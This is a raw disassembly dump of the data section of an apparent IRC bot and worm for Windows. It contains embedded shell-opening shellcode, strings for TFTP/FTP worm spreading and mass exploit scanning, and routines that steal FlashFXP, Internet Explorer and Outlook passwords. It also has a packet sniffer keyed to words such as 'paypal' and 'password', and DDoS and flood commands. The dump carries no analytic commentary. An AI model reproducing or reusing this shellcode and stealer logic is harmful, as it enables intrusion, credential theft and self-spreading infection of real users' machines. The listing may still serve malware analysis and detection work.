a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 dword_41C7C8 dd 0B915EBh, 81000000h, 0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h ; DATA XREF: sub_4125DF+50o dd 0FFFFFFE6h, 0 dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 dd 0E5FFh dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 dd 0E5FFh dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 dd 0E5FFh dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r dd offset aBg ; "ÓÞƒ" dd 0 dd offset dword_41CC2C dd offset aOa ; "×׎€" align 8 dd offset dword_41CC08 dd offset aDvi ; "ÓÖ„‚©" dd 0 dd offset dword_41CBE8 dd offset aPa ; "ÚÖ€" dd 4 dup(0) aPa db 'ÚÖ€',0 ; DATA XREF: .data:0041CBC8o ; .data:0041DA90o align 8 dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; .data:0041DA8Co aDvi db 'ÓÖ„‚©',0 ; DATA XREF: .data:0041CBBCo ; .data:0041DA84o align 8 dword_41CC08 dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0) ; DATA XREF: .data:0041CBB8o ; .data:0041DA80o aOa db '×׎€',0 ; DATA XREF: .data:0041CBB0o ; .data:0041DA78o align 4 dd 0 dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0 ; DATA XREF: .data:0041CBACo ; .data:0041DA74o aBg db 'ÓÞƒ',0 ; DATA XREF: .data:0041CBA4o ; .data:off_41DA6Co align 4 dd 0 dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0) ; DATA XREF: .data:off_41CBA0o ; .data:off_41DA68o dword_41CC64 dd 72h dword_41CC68 dd 62h dword_41CC6C dd 63h dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 aJeP db '†…ØÝ¯',0 ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... align 4 dd 2 dup(0) dd 0D3000000h, 82D5h, 3 dup(0) db 2 dup(0) dword_41CCF6 dd 0B33DE2EFh ; sub_412FC6+31r ... dword_41CCFA dd 0 ; sub_414052+B5r ... off_41CCFE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0) dd 82D2D600h, 4 dup(0) a?_0 db '?(Ƶ',0 align 4 dd offset sub_410B52 dd 3, 10h dup(0) aWin32 db '(Win32)',0 ; DATA XREF: sub_41308F+217o aUnix db '(Unix)',0 ; DATA XREF: sub_41308F+1F1o align 10h aApacheU db 'Apache/%u',0 ; DATA XREF: sub_41308F+1DFo align 4 aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CDE8 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF50 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D0A0 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D22C db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D268 dd 2343003h, 2037525ha_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 10h aPass db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 10h asc_41D300 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D308 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D34C db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_41D388 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D3E4 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 aHttps db 'https:/',0 ; DATA XREF: sub_414EF4+9DDo aHttp_0 db 'http:/',0 ; DATA XREF: sub_414EF4+9C6o align 4 aString db ':String',0 ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D45C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D49C dd 2Ch ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D4AC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 10h dword_41D510 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D560 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D564 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_41D598 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6FC dd offset aUser_0 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_1 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_2 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_41D758 dd offset aLogin ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth_0 ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey ; "cd-key" align 8 dd offset aCdKey_0 ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" align 10h dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" align 10h dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU ; "serv-u" dd 0 dd offset aServU_0 ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D810 dd offset aPrivmsg_0 ; DATA XREF: sub_415EB7+98o ; "PRIVMSG " align 8 dd offset aNotice_0 ; "NOTICE " align 10h dd offset aTopic ; "TOPIC " align 8 dd offset aJoin_0 ; "JOIN " align 10h dd offset aPart ; "PART " align 8 dd offset aQuit ; "QUIT " dd 2 dup(0) aQuit db 'QUIT ',0 ; DATA XREF: .data:0041D838o align 4 aPart db 'PART ',0 ; DATA XREF: .data:0041D830o align 4 aJoin_0 db 'JOIN ',0 ; DATA XREF: .data:0041D828o align 4 aTopic db 'TOPIC ',0 ; DATA XREF: .data:0041D820o align 4 aNotice_0 db 'NOTICE ',0 ; DATA XREF: .data:0041D818o aPrivmsg_0 db 'PRIVMSG ',0 ; DATA XREF: .data:off_41D810o align 4 aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o align 10h aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo align 4 aServU_0 db 'serv u',0 ; DATA XREF: .data:0041D7F4o align 10h aServU db 'serv-u',0 ; DATA XREF: .data:0041D7ECo align 4 aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o align 10h aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo align 4 aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o align 10h aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o align 4 aCdKey_0 db 'cd key',0 ; DATA XREF: .data:0041D788o align 4 aCdKey db 'cd-key',0 ; DATA XREF: .data:0041D780o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o align 4 aAuth_0 db 'auth ',0 ; DATA XREF: .data:0041D768o align 10h aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o align 4 aLogin db 'login ',0 ; DATA XREF: .data:off_41D758o align 10h aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co aPass_2 db 'pass=',0 ; DATA XREF: .data:0041D744o align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o align 10h aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o aAuth db ' :auth ',0 ; DATA XREF: .data:0041D71Co aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o align 4 aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co align 10h aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o align 4 aPass_1 db 'pass ',0 ; DATA XREF: .data:0041D704o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o align 10h aUser_0 db 'user ',0 ; DATA XREF: .data:off_41D6FCo align 4 dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9DC db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h dd 0B4ACFFE6h, 2 dup(0) dword_41DA48 dd 0A1C21D0Eh ; .text:00416845r ... dword_41DA4C dd 0D6AF099Eh dword_41DA50 dd 0ED38F9D8h dword_41DA54 dd 5D58CED8h dd 0 off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... dd 2 dup(0) off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA6C dd offset aBg ; DATA XREF: sub_40CF2F+B8r ; "ÓÞƒ" dword_41DA70 dd 0 ; sub_40CF2F+DFr dd offset dword_41CC2C dd offset aOa ; "×׎€" align 10h dd offset dword_41CC08 dd offset aDvi ; "ÓÖ„‚©" dd 0 dd offset dword_41CBE8 dd offset aPa ; "ÚÖ€" dd 4 dup(0) dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; sub_40D871:loc_40DCB8o aLast db '#last',0 ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... align 4 dd 1Eh dup(0) byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 85h, 0D8h, 0DFh dd 0F1h, 1Eh dup(0) byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC34 dd 3430032Eh, 2036202h, 0 ; sub_40D871+242o dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh dup(0) ; sub_406AE7+2Eo dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0dword_41DD54 dd 3430032Dh, 62656402h, 2036775haEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: .text:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: sub_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: sub_416ADB-87o align 10h a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .text:0041684Bo align 10h dword_41DDD0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_41DDE0 dd offset off_4172BC ; DATA XREF: .rdata:off_4172C0o ; .rdata:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DE00 dd offset off_4172BC ; DATA XREF: .rdata:off_417308o ; .rdata:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DE18 dd 0 ; sub_401856+21r ... dword_41DE1C dd 0 ; sub_401856+36r ... dword_41DE20 dd 0 ; sub_401856+4Br ... dword_41DE24 dd 0 ; sub_401856+Cr ... dd 0 dword_41DE2C dd 0 ; sub_4018AF+62r ... byte_41DE30 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DE38 dd 0 ; sub_404CBB+1Br ... dword_41DE3C dd 0 dword_41DE40 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; sub_409C36+12r ... align 8 dword_41DE48 dd 5B86A313h dword_41DE4C dd 5B86D617h dword_41DE50 dd 5B86FD69h dword_41DE54 dd 5B894541h dword_41DE58 dd 5B868E65h dword_41DE5C dd 5B8A3009h dword_41DE60 dd 5B867750h dword_41DE64 dd 5B897BE9h dword_41DE68 dd 5B8A5DD1h dword_41DE6C dd 71B2517Fh dword_41DE70 dd 71B2578Ch dword_41DE74 dd 71B2547Ah 